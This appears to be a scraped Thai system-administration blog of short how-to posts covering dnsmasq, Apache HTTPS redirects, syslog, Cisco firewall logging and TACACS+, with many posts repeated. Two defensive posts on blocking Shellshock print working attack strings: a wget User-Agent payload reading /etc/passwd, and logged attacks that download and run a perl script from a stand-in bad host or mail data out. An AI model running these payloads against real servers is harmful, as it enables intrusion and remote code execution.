OS ที่ใช้ CentOS 7 (minimal installation)
แก้ไขไฟล์ /etc/dnsmasq.conf ดังนี้
port=53
### กำหนด Upstream DNS servers
server=8.8.8.8
server=8.8.4.4
### กำหนด DNS cache size โดยหากต้องการ Disable ให้กำหนดเป็น 0
cache-size=10000
จากนั้น Save ไฟล์
- กำหนดให้ dnsmasq ทำงานทุกครั้งที่ reoot
Server# systemctl enable dnsmasq
- ทำการเปิดใช้งาน dnsmasq
Server# systemctl start dnsmasq
วันพุธที่ 28 กันยายน พ.ศ. 2559
วันศุกร์ที่ 22 พฤษภาคม พ.ศ. 2558
Ubuntu, Apache : การบังคับ Redirect HTTP ไป HTTPS
ระบบที่ใช้ทดสอบ
OS: Ubuntu 14.04.2
- ทำการเปิด Module ดังต่อไปนี้
root@server:~# a2enmod ssl
root@server:~# a2enmod rewrite
- ทำการสร้าง Key file และ Certificate file
root@server:~# openssl req -x509 -nodes -days 1000 -newkey rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt
- แก้ไขไฟล์ /etc/apache2/sites-available/default-ssl ในส่วนต่อไปนี้
SSLCertificateFile /etc/apache2/ssl/apache.crt
SSLCertificateKeyFile /etc/apache2/ssl/apache.key
- ทำการ Enable HTTPS
root@server:~# a2ensite default-ssl
- แก้ไข Config เพื่อบังคับ Redirect HTTP ไป HTTPS โดยแก้ไขไฟล์ /etc/apache2/sites-enabled/000-default ดังนี้
RewriteEngine On
RewriteCond %{HTTPS} !=on
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R,L]
- จากนั้น Restart web service
root@server:~# service apache2 restart
OS: Ubuntu 14.04.2
- ทำการเปิด Module ดังต่อไปนี้
root@server:~# a2enmod ssl
root@server:~# a2enmod rewrite
- ทำการสร้าง Key file และ Certificate file
root@server:~# openssl req -x509 -nodes -days 1000 -newkey rsa:2048 -keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt
- แก้ไขไฟล์ /etc/apache2/sites-available/default-ssl ในส่วนต่อไปนี้
SSLCertificateFile /etc/apache2/ssl/apache.crt
SSLCertificateKeyFile /etc/apache2/ssl/apache.key
- ทำการ Enable HTTPS
root@server:~# a2ensite default-ssl
- แก้ไข Config เพื่อบังคับ Redirect HTTP ไป HTTPS โดยแก้ไขไฟล์ /etc/apache2/sites-enabled/000-default ดังนี้
RewriteEngine On
RewriteCond %{HTTPS} !=on
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R,L]
- จากนั้น Restart web service
root@server:~# service apache2 restart
วันศุกร์ที่ 20 กุมภาพันธ์ พ.ศ. 2558
Apache: การป้องกัน Shell Shock ด้วย Apache แบบไม่ต้อง Patch
ด้วยเหตุผลบางอย่าง หรือหลายอย่างเราอาจไม่สามารถ Patch ระบบเพื่อป้องกันการโจมตีแบบ ShellShock ได้ ดังนั้นจึงต้องหาวิธีป้องกันผ่าน Apache เพื่อที่อย่างน้อยก็พอลดความเสี่ยงลงได้
ระบบที่ใช้ในการทดสอบ
Red Hat Enterprise Linux Server release 6.5 (Santiago)
Apache/2.2.15
เริ่มจากทดสอบโจมตี ShellShock ด้วยคำสั่ง wget
# wget -U "() { test;};echo \"\"; echo; echo; /bin/cat /etc/passwd" http://www.komkit.net/test.cgi
--2015-02-20 18:54:01-- http://www.komkit.net/test.cgi
Connecting to www.komkit.net:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: “test.cgi”
[ <=> ] 1,717 --.-K/s in 0.001s
2015-02-20 18:54:01 (1.31 MB/s) - “test.cgi” saved [1717]
ผลที่ได้คือ ได้ Content ของไฟล์ passwd มา ดังตัวอย่าง
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
เมื่อไปตรวจสอบที่ access.log จะพบ
xxx.xxx.xxx.29 - - [20/Feb/2015:18:54:01 +0700] "GET /test.cgi HTTP/1.0" 200 1717 "-" "() { test;};echo \"\"; echo; echo; /bin/cat /etc/passwd"
ซึ่งจาก Log จะเห็นว่า Code ในการโจมตีนั้นอยู่ในส่วนของ User-Agent ซึ่งนั่นคือส่วนที่นเราจะเอามา Filter นั่นเอง
เริ่มจากทำการสร้างไฟล์ .htaccess ไว้ที่ WWW Root directory (การ Configure อาจไม่ใช่ตำแหน่งนี้ ทั้งนี้อยู่ที่ความเหมาะสม)
# vi /var/www/html/.htaccess
SetEnvIfNoCase User-Agent "() { " Blocked
<Limit GET POST HEAD>
order allow,deny
allow from all
deny from env=Blocked
</Limit>
ทำการ Save ไฟล์ แล้วทดสอบอีกครั้ง
# wget -U "() { test;};echo \"\"; echo; echo; /bin/cat /etc/passwd" http://www.komkit.net/test.cgi
--2015-02-20 19:03:56-- http://www.komkit.net/test.cgi
Connecting to www.komkit.net:80... connected.
HTTP request sent, awaiting response... 403 Forbidden
2015-02-20 19:03:56 ERROR 403: Forbidden.
ได้ผล!
แต่ก็อย่าลืมหาทาง Patch ระบบกันนะครับ
หมายเหตุ การ Configure ทุกอย่างมีความเสี่ยง อาจทำให้ระบบท่านหยุดทำงานได้ หากไม่ระวัง
ระบบที่ใช้ในการทดสอบ
Red Hat Enterprise Linux Server release 6.5 (Santiago)
Apache/2.2.15
เริ่มจากทดสอบโจมตี ShellShock ด้วยคำสั่ง wget
# wget -U "() { test;};echo \"\"; echo; echo; /bin/cat /etc/passwd" http://www.komkit.net/test.cgi
--2015-02-20 18:54:01-- http://www.komkit.net/test.cgi
Connecting to www.komkit.net:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/plain]
Saving to: “test.cgi”
[ <=> ] 1,717 --.-K/s in 0.001s
2015-02-20 18:54:01 (1.31 MB/s) - “test.cgi” saved [1717]
ผลที่ได้คือ ได้ Content ของไฟล์ passwd มา ดังตัวอย่าง
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
เมื่อไปตรวจสอบที่ access.log จะพบ
xxx.xxx.xxx.29 - - [20/Feb/2015:18:54:01 +0700] "GET /test.cgi HTTP/1.0" 200 1717 "-" "() { test;};echo \"\"; echo; echo; /bin/cat /etc/passwd"
ซึ่งจาก Log จะเห็นว่า Code ในการโจมตีนั้นอยู่ในส่วนของ User-Agent ซึ่งนั่นคือส่วนที่นเราจะเอามา Filter นั่นเอง
เริ่มจากทำการสร้างไฟล์ .htaccess ไว้ที่ WWW Root directory (การ Configure อาจไม่ใช่ตำแหน่งนี้ ทั้งนี้อยู่ที่ความเหมาะสม)
# vi /var/www/html/.htaccess
SetEnvIfNoCase User-Agent "() { " Blocked
order allow,deny
allow from all
deny from env=Blocked
</Limit>
ทำการ Save ไฟล์ แล้วทดสอบอีกครั้ง
# wget -U "() { test;};echo \"\"; echo; echo; /bin/cat /etc/passwd" http://www.komkit.net/test.cgi
--2015-02-20 19:03:56-- http://www.komkit.net/test.cgi
Connecting to www.komkit.net:80... connected.
HTTP request sent, awaiting response... 403 Forbidden
2015-02-20 19:03:56 ERROR 403: Forbidden.
ได้ผล!
แต่ก็อย่าลืมหาทาง Patch ระบบกันนะครับ
หมายเหตุ การ Configure ทุกอย่างมีความเสี่ยง อาจทำให้ระบบท่านหยุดทำงานได้ หากไม่ระวัง
วันพฤหัสบดีที่ 19 กุมภาพันธ์ พ.ศ. 2558
Squid Proxy: การป้องกัน Shell Shock ด้วย Reverse Proxy
ตัวอย่าง Log การโจมตี Shell Shock จาก Reverse Proxy
abc.xyz.113.99 - - [18/Feb/2015:01:57:46 +0700] "GET http://www.komkit.net/cgi-bin/test/test.cgi HTTP/1.1" 403 464 "() { :;}; /bin/bash -c "echo www.komkit.net | mail -s 'badsite.com' badguy@www.badsite.domain"" "() { :;}; /bin/bash -c "echo brh.thaigov.net | mail -s 'badsite.com' badguy@www.badsite.domain"" TCP_MISS:FIRSTUP_PARENT
abc.xyz.121.201 - - [14/Feb/2015:18:28:52 +0700] "GET http://www.komkit.net/ HTTP/1.0" 503 574 "http://www.komkit.net/index4.php" "() { :;}; /bin/bash -c "wget -O /tmp/bbb www.badsite.domain/b; perl /tmp/bbb"" TCP_MISS:FIRSTUP_PARENT
จาก Log ข้างต้นจะสังเกตุเห็นว่า ทุกๆ Logs จะมีส่วนที่เหมือนกันคือ
() { :;}; ซึ่งจะอยู่ในส่วนของ Referrer request ซึ่งเราสามารถ Filter ได้ ดังนี้
ในส่วนของ squid.conf
acl ShellShock referer_regex -i "/etc/squid/shellshock"
http_access deny ShellShock
deny_info http://www.komkit.net/accessdeny.html ShellShock
สร้างไฟล์ /etc/squid/shellshock เพื่อใส่ Filter ดังนี้
\(\)\ \{\ \:\;\}\;
จากนั้นให้ทำการ Apply Squid ด้วยคำสั่ง squid -k reconfig
ทำการทดสอบด้วยเวบทดสอบ Shellshock https://shellshock.detectify.com/
ผลที่ได้ดังตัวอย่าง Log
54.246.109.66 - - [19/Feb/2015:17:55:34 +0700] "GET http://www.komkit.net/wwwboard/wwwboard.cgi HTTP/1.1" 403 3772 "() { :;}; /usr/bin/wget https://shellshock.detectify.io/ping/FB0D337B2E15DF65C7934029093726E8?path=/usr/bin/wget" "https://shellshock.detectify.io" TCP_DENIED:HIER_NONE
54.246.109.66 - - [19/Feb/2015:17:55:34 +0700] "GET http://www.komkit.net/wwwboard/wwwboard.cgi HTTP/1.1" 403 3712 "() { :;}; curl https://shellshock.detectify.io/ping/FB0D337B2E15DF65C7934029093726E8?path=curl" "https://shellshock.detectify.io" TCP_DENIED:HIER_NONE
54.246.109.66 - - [19/Feb/2015:17:55:34 +0700] "GET http://www.komkit.net/wwwboard/wwwboard.cgi HTTP/1.1" 403 3712 "() { :;}; wget https://shellshock.detectify.io/ping/FB0D337B2E15DF65C7934029093726E8?path=wget" "https://shellshock.detectify.io" TCP_DENIED:HIER_NONE
ซึ่งก็น่าจะช่วยป้องกันได้ในระดับนึง แต่ยังไงก็อย่าลืม Patch ระบบดีกว่านะครับ ปลอดภัยกว่าเยอะ
abc.xyz.113.99 - - [18/Feb/2015:01:57:46 +0700] "GET http://www.komkit.net/cgi-bin/test/test.cgi HTTP/1.1" 403 464 "() { :;}; /bin/bash -c "echo www.komkit.net | mail -s 'badsite.com' badguy@www.badsite.domain"" "() { :;}; /bin/bash -c "echo brh.thaigov.net | mail -s 'badsite.com' badguy@www.badsite.domain"" TCP_MISS:FIRSTUP_PARENT
abc.xyz.121.201 - - [14/Feb/2015:18:28:52 +0700] "GET http://www.komkit.net/ HTTP/1.0" 503 574 "http://www.komkit.net/index4.php" "() { :;}; /bin/bash -c "wget -O /tmp/bbb www.badsite.domain/b; perl /tmp/bbb"" TCP_MISS:FIRSTUP_PARENT
จาก Log ข้างต้นจะสังเกตุเห็นว่า ทุกๆ Logs จะมีส่วนที่เหมือนกันคือ
() { :;}; ซึ่งจะอยู่ในส่วนของ Referrer request ซึ่งเราสามารถ Filter ได้ ดังนี้
ในส่วนของ squid.conf
acl ShellShock referer_regex -i "/etc/squid/shellshock"
http_access deny ShellShock
deny_info http://www.komkit.net/accessdeny.html ShellShock
สร้างไฟล์ /etc/squid/shellshock เพื่อใส่ Filter ดังนี้
\(\)\ \{\ \:\;\}\;
จากนั้นให้ทำการ Apply Squid ด้วยคำสั่ง squid -k reconfig
ทำการทดสอบด้วยเวบทดสอบ Shellshock https://shellshock.detectify.com/
ผลที่ได้ดังตัวอย่าง Log
54.246.109.66 - - [19/Feb/2015:17:55:34 +0700] "GET http://www.komkit.net/wwwboard/wwwboard.cgi HTTP/1.1" 403 3772 "() { :;}; /usr/bin/wget https://shellshock.detectify.io/ping/FB0D337B2E15DF65C7934029093726E8?path=/usr/bin/wget" "https://shellshock.detectify.io" TCP_DENIED:HIER_NONE
54.246.109.66 - - [19/Feb/2015:17:55:34 +0700] "GET http://www.komkit.net/wwwboard/wwwboard.cgi HTTP/1.1" 403 3712 "() { :;}; curl https://shellshock.detectify.io/ping/FB0D337B2E15DF65C7934029093726E8?path=curl" "https://shellshock.detectify.io" TCP_DENIED:HIER_NONE
54.246.109.66 - - [19/Feb/2015:17:55:34 +0700] "GET http://www.komkit.net/wwwboard/wwwboard.cgi HTTP/1.1" 403 3712 "() { :;}; wget https://shellshock.detectify.io/ping/FB0D337B2E15DF65C7934029093726E8?path=wget" "https://shellshock.detectify.io" TCP_DENIED:HIER_NONE
ซึ่งก็น่าจะช่วยป้องกันได้ในระดับนึง แต่ยังไงก็อย่าลืม Patch ระบบดีกว่านะครับ ปลอดภัยกว่าเยอะ
วันจันทร์ที่ 19 มกราคม พ.ศ. 2558
การตรวจสอบ IPv6 routing และ IPv6 neighbors บน Linux
การตรวจสอบ IPv6 routing โดยคำสั่ง route
[root@Server komkit]# route -n -A inet6
หรือ
[root@Server komkit]# ip -6 route show
การตรวจสอบ IPv6 neighbors (ARP)
[root@Server komkit]# ip -6 neigh show
[root@Server komkit]# route -n -A inet6
หรือ
[root@Server komkit]# ip -6 route show
การตรวจสอบ IPv6 neighbors (ARP)
[root@Server komkit]# ip -6 neigh show
วันเสาร์ที่ 23 สิงหาคม พ.ศ. 2557
การส่ง Apache access log ไปยัง Syslog server
ระบบที่ใช้ทดสอบ : Ubuntu server 14.04, Apache2
แก้ไขไฟล์ /etc/apache2/sites-available/000-default.conf (ทั้งนี้ขึ้นอยู่กับว่าใช้ vHost ชื่ออะไร)
โดยเพิ่ม
ErrorLog syslog:local6
CustomLog "||/usr/bin/logger -t apache -i -p local6.notice" combined
จากนั้นแก้ไขไฟล์ /etc/rsyslog.d/50-default.conf
โดยเพิ่ม
*.* @192.168.38.142
จากนั้นทำการ restart rsyslog และ apache2 ดังนี้
service rsyslog restart
และ
service apache2 restart
ref. https://raymii.org/s/snippets/Apache_access_and_error_log_to_syslog.html
ระบบที่ใช้ทดสอบ : Ubuntu server 14.04, Apache2
แก้ไขไฟล์ /etc/apache2/sites-available/000-default.conf (ทั้งนี้ขึ้นอยู่กับว่าใช้ vHost ชื่ออะไร)
โดยเพิ่ม
ErrorLog syslog:local6
CustomLog "||/usr/bin/logger -t apache -i -p local6.notice" combined
จากนั้นแก้ไขไฟล์ /etc/rsyslog.d/50-default.conf
โดยเพิ่ม
*.* @192.168.38.142
จากนั้นทำการ restart rsyslog และ apache2 ดังนี้
service rsyslog restart
และ
service apache2 restart
ref. https://raymii.org/s/snippets/Apache_access_and_error_log_to_syslog.html
วันอังคารที่ 20 พฤศจิกายน พ.ศ. 2555
[Squid Proxy] : access_log with time acl.
[บทความกันลืม]
โจทย์จากน่วยงานแห่งหนึ่ง ต้องการายงานการใช้งาน Squid proxy (Top sites, Top users, Bandwidth used, etc.)ดังนี้
- รายงานแรก เป็นรายงานการใช้งาน Squid proxy ทั้งวัน (อันนี้ทำเป็นปกติอยู่แล้ว)
- รายงานที่สอง เป็นรายงานการใช้งาน Squid proxy เฉพาะในช่วงเวลาการทำงาน (8:30-11:59:59 น. และ 13:00-16:59:59 น.)
แนวคิด (ไม่รู้ว่าคิดดีรึยัง)
- แยก access_log ออกเป็น 2 ไฟล์ คือ access.log และ access_worktime.log ดังนี้
### แก้ไขไฟล์ squid.conf
## เพิ่ม time acl
acl worktime_am time MTWHF 8:30-11:59:59
acl worktime_pm time MTWHF 13:00-16:59:59
## เขียน access_log ดังนี้
access_log /squid/logs/access.log squid
access_log /squid/logs/access_worktime.log squid worktime_am
access_log /squid/logs/access_worktime.log squid worktime_pm
## บันทึกไฟล์ แล้วทำการ reconfigure ด้วยคำสั่ง squid -k reconfigure
จากนั้นก็จะได้ Squid log มา 2 ไฟล์ไปทำรายงานด้วย Tools ที่เหมาะสมต่อไป
โจทย์จากน่วยงานแห่งหนึ่ง ต้องการายงานการใช้งาน Squid proxy (Top sites, Top users, Bandwidth used, etc.)ดังนี้
- รายงานแรก เป็นรายงานการใช้งาน Squid proxy ทั้งวัน (อันนี้ทำเป็นปกติอยู่แล้ว)
- รายงานที่สอง เป็นรายงานการใช้งาน Squid proxy เฉพาะในช่วงเวลาการทำงาน (8:30-11:59:59 น. และ 13:00-16:59:59 น.)
แนวคิด (ไม่รู้ว่าคิดดีรึยัง)
- แยก access_log ออกเป็น 2 ไฟล์ คือ access.log และ access_worktime.log ดังนี้
### แก้ไขไฟล์ squid.conf
## เพิ่ม time acl
acl worktime_am time MTWHF 8:30-11:59:59
acl worktime_pm time MTWHF 13:00-16:59:59
## เขียน access_log ดังนี้
access_log /squid/logs/access.log squid
access_log /squid/logs/access_worktime.log squid worktime_am
access_log /squid/logs/access_worktime.log squid worktime_pm
## บันทึกไฟล์ แล้วทำการ reconfigure ด้วยคำสั่ง squid -k reconfigure
จากนั้นก็จะได้ Squid log มา 2 ไฟล์ไปทำรายงานด้วย Tools ที่เหมาะสมต่อไป
วันพุธที่ 22 สิงหาคม พ.ศ. 2555
[VMware] การตั้งค่า SNMP community string และการเปิดการทำงานของ SNMP บน VMware ESX ผ่าน CLI ของ VMware
[บทความกันลืม]
กำหนดให้
VMware ESX host = vmware-host.domain.com
VMware ESX username = root
VMware ESX password = MyPassWord
SNMP community string = SNMP-Community
ก่อนอื่นต้องไป download โปรแกรม VMware CLI มาติดตั้งก่อน
การแก้ไข community string ให้ VMware ESX
C:\Program Files (x86)\VMware\VMware vSphere CLI\bin>vicfg-snmp.pl --server=vmware-host.domain.com --username=root --password=MyPassWord -c SNMP-Community
Changing community list to: SNMP-Community...
Complete.
Changing community list to: SNMP-Community...
Complete.
การเปิดการทำงานของ SNMP บน VMware ESX
C:\Program Files (x86)\VMware\VMware vSphere CLI\bin>vicfg-snmp.pl --server=vmware-host.domain.com --username=root --password=MyPassWord --enable
Enabling agent...
Complete.
Enabling agent...
Complete.
วันพุธที่ 8 กุมภาพันธ์ พ.ศ. 2555
Security : การส่ง Log ผ่าน E-Mail จากอุปกรณ์ Cisco ASA Firewall
[ บทความกันลืม ]
ในบทความนี้จะทำการส่ง E-Mail ไปยังผู้ดูแลระบบเมื่อ
- มีความพยายาม Login เข้าสู่ Firewall ทั้งที่สำเร็จ หรือไม่สำเร็จ
- มีการ Execute command เช่น config terminal
กำหนดให้
อุปกรณ์ทดสอบ : Cisco PIX-525
Software Version : 8.0(4)28
SMTP server = 10.10.10.25
SMTP server (สำรอง) = 10.10.20.25
E-Mail ผู้ดูแลระบบ = admin-firewall@komkit.net
! Configuration ของ Firewall มีดังนี้
!
smtp-server 10.10.10.25 10.10.20.25
!
logging enable
logging timestamp
!
logging device-id context-name
!
logging list Email_Alerts level alert class auth
logging list Email_Alerts level alert class config
logging list Email_Alerts level alert class session
!
logging list Email_Alerts message 109033
logging list Email_Alerts message 109034
logging list Email_Alerts message 315004
logging list Email_Alerts message 315011
logging list Email_Alerts message 605004
logging list Email_Alerts message 605005
logging list Email_Alerts message 710002
logging list Email_Alerts message 111004
logging list Email_Alerts message 113005
logging list Email_Alerts message 113012
logging list Email_Alerts message 113015
logging list Email_Alerts message 611101
logging list Email_Alerts message 611102
logging list Email_Alerts message 102001
logging list Email_Alerts message 199001
logging list Email_Alerts message 502103
logging list Email_Alerts message 613003
logging list Email_Alerts message 111008
!
!
logging from-address alert-firewall@komkit.net
logging recipient-address admin-firewall@komkit.net level information
logging mail Email_Alerts
!
end
โดย Log ที่ถูกส่งออกไปนั้น จะเป็นแบบ 1 log ต่อ 1 mail ดังนั้นควรที่จะ filter ว่าจะต้องการให้ Firewall ส่ง Log เฉพาะที่ต้องการก็เพียงพอ
ตัวอย่าง Log message ที่ได้รับมาใน Mail
ในบทความนี้จะทำการส่ง E-Mail ไปยังผู้ดูแลระบบเมื่อ
- มีความพยายาม Login เข้าสู่ Firewall ทั้งที่สำเร็จ หรือไม่สำเร็จ
- มีการ Execute command เช่น config terminal
กำหนดให้
อุปกรณ์ทดสอบ : Cisco PIX-525
Software Version : 8.0(4)28
SMTP server = 10.10.10.25
SMTP server (สำรอง) = 10.10.20.25
E-Mail ผู้ดูแลระบบ = admin-firewall@komkit.net
! Configuration ของ Firewall มีดังนี้
!
smtp-server 10.10.10.25 10.10.20.25
!
logging enable
logging timestamp
!
logging device-id context-name
!
logging list Email_Alerts level alert class auth
logging list Email_Alerts level alert class config
logging list Email_Alerts level alert class session
!
logging list Email_Alerts message 109033
logging list Email_Alerts message 109034
logging list Email_Alerts message 315004
logging list Email_Alerts message 315011
logging list Email_Alerts message 605004
logging list Email_Alerts message 605005
logging list Email_Alerts message 710002
logging list Email_Alerts message 111004
logging list Email_Alerts message 113005
logging list Email_Alerts message 113012
logging list Email_Alerts message 113015
logging list Email_Alerts message 611101
logging list Email_Alerts message 611102
logging list Email_Alerts message 102001
logging list Email_Alerts message 199001
logging list Email_Alerts message 502103
logging list Email_Alerts message 613003
logging list Email_Alerts message 111008
!
!
logging from-address alert-firewall@komkit.net
logging recipient-address admin-firewall@komkit.net level information
logging mail Email_Alerts
!
end
โดย Log ที่ถูกส่งออกไปนั้น จะเป็นแบบ 1 log ต่อ 1 mail ดังนั้นควรที่จะ filter ว่าจะต้องการให้ Firewall ส่ง Log เฉพาะที่ต้องการก็เพียงพอ
ตัวอย่าง Log message ที่ได้รับมาใน Mail
<166>Feb 09 2012 13:44:44 single_vf : %PIX-6-605004: Login denied from 172.17.12.51/58897 to outside:172.17.12.5/ssh for user "hacker"
<165>Feb 09 2012 13:44:57 single_vf : %PIX-5-111008: User 'komkit' executed the 'enable' command.
<165>Feb 09 2012 13:58:35 single_vf : %PIX-5-111008: User 'enable_15' executed the 'configure terminal' command.
<165>Feb 09 2012 14:00:12 single_vf : %PIX-5-111008: User 'enable_15' executed the 'username admin2 password *' command.
<166>Feb 09 2012 13:10:36 single_vf : %PIX-6-315011: SSH session from 172.17.12.51 on interface outside for user "komkit" terminated normally
วันอังคารที่ 20 ธันวาคม พ.ศ. 2554
Network : เพิ่ม Perpersistent Static Route บน Windows
บนระบบ Windows ในบางกรณีที่ต้องมีหลาย Network interfaces หรือหลาย Gateway และต้องการเพิ่ม Static route เพื่อจัดการ Route ให้เป็นไปตามต้องการ สามารถทำได้ดังนี้
ระบบที่ทดสอบ Microsoft Windows 7 Professional
กำหนดให้ Destination route คือ 172.17.15.0/24
กำหนดให้ Gateway คือ 172.17.12.1
- เพิ่ม route ชั่วคราว โดย route นี้จะหายไปเมื่อระบบ reboot
C:\>route add 172.17.15.0 mask 255.255.255.0 172.17.12.1
OK!
- เพิ่ม Perpersistent Static Route โดย route นี้จะไม่หายไปเมื่อระบบ reboot
C:\>route add -p 172.17.15.0 mask 255.255.255.0 172.17.12.1
OK!
- ลบ route
C:\>route delete 172.17.15.0 mask 255.255.255.0 172.17.12.1
OK!
- ตรวจสอบ Routing table
C:\> route print
หรือ
C:\> netstat -rn
ระบบที่ทดสอบ Microsoft Windows 7 Professional
กำหนดให้ Destination route คือ 172.17.15.0/24
กำหนดให้ Gateway คือ 172.17.12.1
- เพิ่ม route ชั่วคราว โดย route นี้จะหายไปเมื่อระบบ reboot
C:\>route add 172.17.15.0 mask 255.255.255.0 172.17.12.1
OK!
- เพิ่ม Perpersistent Static Route โดย route นี้จะไม่หายไปเมื่อระบบ reboot
C:\>route add -p 172.17.15.0 mask 255.255.255.0 172.17.12.1
OK!
- ลบ route
C:\>route delete 172.17.15.0 mask 255.255.255.0 172.17.12.1
OK!
- ตรวจสอบ Routing table
C:\> route print
หรือ
C:\> netstat -rn
วันพฤหัสบดีที่ 18 สิงหาคม พ.ศ. 2554
SSH : การยกเลิกการตรวจสอบ DNS ของ Client IP
ในการใช้งาน SSH นั้น ปกติ เมื่อ Client ทำการ SSH เข้าไป SSH Server จะทำการตรวจสอบว่า Client IP นั้น ตรงกับชื่ออะไร โดยจะทำการตรวจสอบกับ DNS ซึ่งในบางครั้ง การตรวจสอบนั้นนานมาก จนกระทั่ง SSH Session Timeout ก็เคยเจอมาแล้ว ดังนั้น วันนี้มาปิดการทำงาน Function ที่ว่า ดีกว่า
- ทำการแก้ไขไฟล์ /etc/ssh/sshd_config (หรืออยู่ที่ path อื่นตามระบบนั้นๆนะครับ)
- แก้ไขแถวต่อไปนี้
เดิม
UseDNS yes
แก้เป็น
UseDNS no
บันทึกไฟล์ จากนั้นทำการ restart servive ของ SSH เป็นอันเสร็จพิธี
- ทำการแก้ไขไฟล์ /etc/ssh/sshd_config (หรืออยู่ที่ path อื่นตามระบบนั้นๆนะครับ)
- แก้ไขแถวต่อไปนี้
เดิม
UseDNS yes
แก้เป็น
UseDNS no
บันทึกไฟล์ จากนั้นทำการ restart servive ของ SSH เป็นอันเสร็จพิธี
วันพฤหัสบดีที่ 14 กรกฎาคม พ.ศ. 2554
Network, Security : การสร้าง TACACS+ Server สำหรับใช้กับ Cisco AAA
บทความนี้เป็นการปูพื้นไว้ก่อนที่จะลืมวิธีทำ
ซึ่งบทความนี้จะว่าด้วยเรื่องการทำ Authentication อย่างเดียวก่อน ส่วน Authorization และ Accounting เอาไว้คราวหน้า
ระบบที่ใช้
Cisco Device: Cisco PIX-525
Software Version 8.0(4)28
TACACS+ Server
OS: FreeBSD 8.2 amd64
TACACS+ Server: tac_plus4
ข้อกำหนด
- TACACS+ Server ที่ทดสอบ ติดตั้งหลัง Zone "Inside" ของ Firewall
- ให้ Inside Interface ของ Firewall = 172.17.12.5
- ให้ TACACS+ Server = 172.17.12.54
เริ่มต้นจาการติดตั้ง TACACS+ Server ดังนี้
Server# cd /usr/ports/net/tac_plus4
Server# make install
Server# rehash
Server# vi /etc/rc.conf
tac_plus_enable="YES"
จากนั้นทำการ Configure
อันดับแรกสร้าง password ที่เข้ารหัสแล้วก่อน เพื่อเอาไปใช้ใน Config โดยใช้คำสั่ง tac_pwd ดังตัวอย่าง
Server# tac_pwd
Password to be encrypted: nosecure
FWpfWvyThlezE
Server# tac_pwd
Password to be encrypted: 3Com
pKvE0HIV2X.z6
จากตัวอย่างจะได้ Password ที่ผ่านการเข้ารหัสแล้ว ซึ่งให้ทำการ Copy ส่วนนี้ไว้
จากนั้นทำการสร้าง Configuration file ดังตัวอย่าง
Server# vi /usr/local/etc/tac_plus.conf
key = "authen_by_komkit"
user = komkit {
login = des "FWpfWvyThlezE"
}
user = cisco {
login = des "pKvE0HIV2X.z6"
}
จากนั้นทำการ save file แล้วทำการ restart service
Server# /usr/local/etc/rc.d/tac_plus restart
Stopping tac_plus.
Starting tac_plus.
ตรวจสอบว่า Service ทำงานแล้ว
Server# netstat -anL
Proto Listen Local Address
tcp4 0/0/128 *.49
ต่อไปทำการเพิ่ม Configuration บน Cisco PIX-525
- กำหนดค่า parameter เบื้องต้นเกี่ยวกับ TACACS+ Server
aaa-server aaa-172.17.12.54 protocol tacacs+
aaa-server aaa-172.17.12.54 (inside) host 172.17.12.54
timeout 30
key authen_by_komkit
- นำค่าที่กำหนดไว้มาใช้งานกับ SSH
aaa authentication ssh console aaa-172.17.12.54
จากนั้นทดสอบการ remote ไปยัง Cisco Firewall โดยผ่าน SSH
login as: cisco
cisco@172.17.12.5's password: 3Com <--- ขณะที่พิมพ์จะมองไม่เห็น
Type help or '?' for a list of available commands.
pixfirewall>
หากมีการพยายามเข้าถึง แต่ไม่มี Username นั้นๆ หรือใส่ Password ผิด จะเกิด Log ที่ TACACS+ Server ดังนี้
Jul 14 19:53:19 Server tac_plus[1054]: login failure: root 172.17.12.5 (172.17.12.5) 5
Jul 14 19:53:26 Server tac_plus[1055]: login failure: cisco 172.17.12.5 (172.17.12.5) 6
หลังจากทดสอบว่าสามารถใช้งานได้แล้ว ก็ทำการ save config ของ Cisco Firewall ให้เรียบร้อย
คำสั่งอื่นๆ ที่น่าสนใจ
pixfirewall# show aaa-server aaa-172.17.12.54
Server Group: aaa-172.17.12.54
Server Protocol: tacacs+
Server Address: 172.17.12.54
Server port: 49
Server status: ACTIVE, Last transaction at 13:16:40 UTC Thu Jul 14 2011
Number of pending requests 0
Average round trip time 0ms
Number of authentication requests 8
Number of authorization requests 0
Number of accounting requests 0
Number of retransmissions 0
Number of accepts 4
Number of rejects 4
Number of challenges 1
Number of malformed responses 0
Number of bad authenticators 0
Number of timeouts 0
Number of unrecognized responses 0
ซึ่งบทความนี้จะว่าด้วยเรื่องการทำ Authentication อย่างเดียวก่อน ส่วน Authorization และ Accounting เอาไว้คราวหน้า
ระบบที่ใช้
Cisco Device: Cisco PIX-525
Software Version 8.0(4)28
TACACS+ Server
OS: FreeBSD 8.2 amd64
TACACS+ Server: tac_plus4
ข้อกำหนด
- TACACS+ Server ที่ทดสอบ ติดตั้งหลัง Zone "Inside" ของ Firewall
- ให้ Inside Interface ของ Firewall = 172.17.12.5
- ให้ TACACS+ Server = 172.17.12.54
เริ่มต้นจาการติดตั้ง TACACS+ Server ดังนี้
Server# cd /usr/ports/net/tac_plus4
Server# make install
Server# rehash
Server# vi /etc/rc.conf
tac_plus_enable="YES"
จากนั้นทำการ Configure
อันดับแรกสร้าง password ที่เข้ารหัสแล้วก่อน เพื่อเอาไปใช้ใน Config โดยใช้คำสั่ง tac_pwd ดังตัวอย่าง
Server# tac_pwd
Password to be encrypted: nosecure
FWpfWvyThlezE
Server# tac_pwd
Password to be encrypted: 3Com
pKvE0HIV2X.z6
จากตัวอย่างจะได้ Password ที่ผ่านการเข้ารหัสแล้ว ซึ่งให้ทำการ Copy ส่วนนี้ไว้
จากนั้นทำการสร้าง Configuration file ดังตัวอย่าง
Server# vi /usr/local/etc/tac_plus.conf
key = "authen_by_komkit"
user = komkit {
login = des "FWpfWvyThlezE"
}
user = cisco {
login = des "pKvE0HIV2X.z6"
}
จากนั้นทำการ save file แล้วทำการ restart service
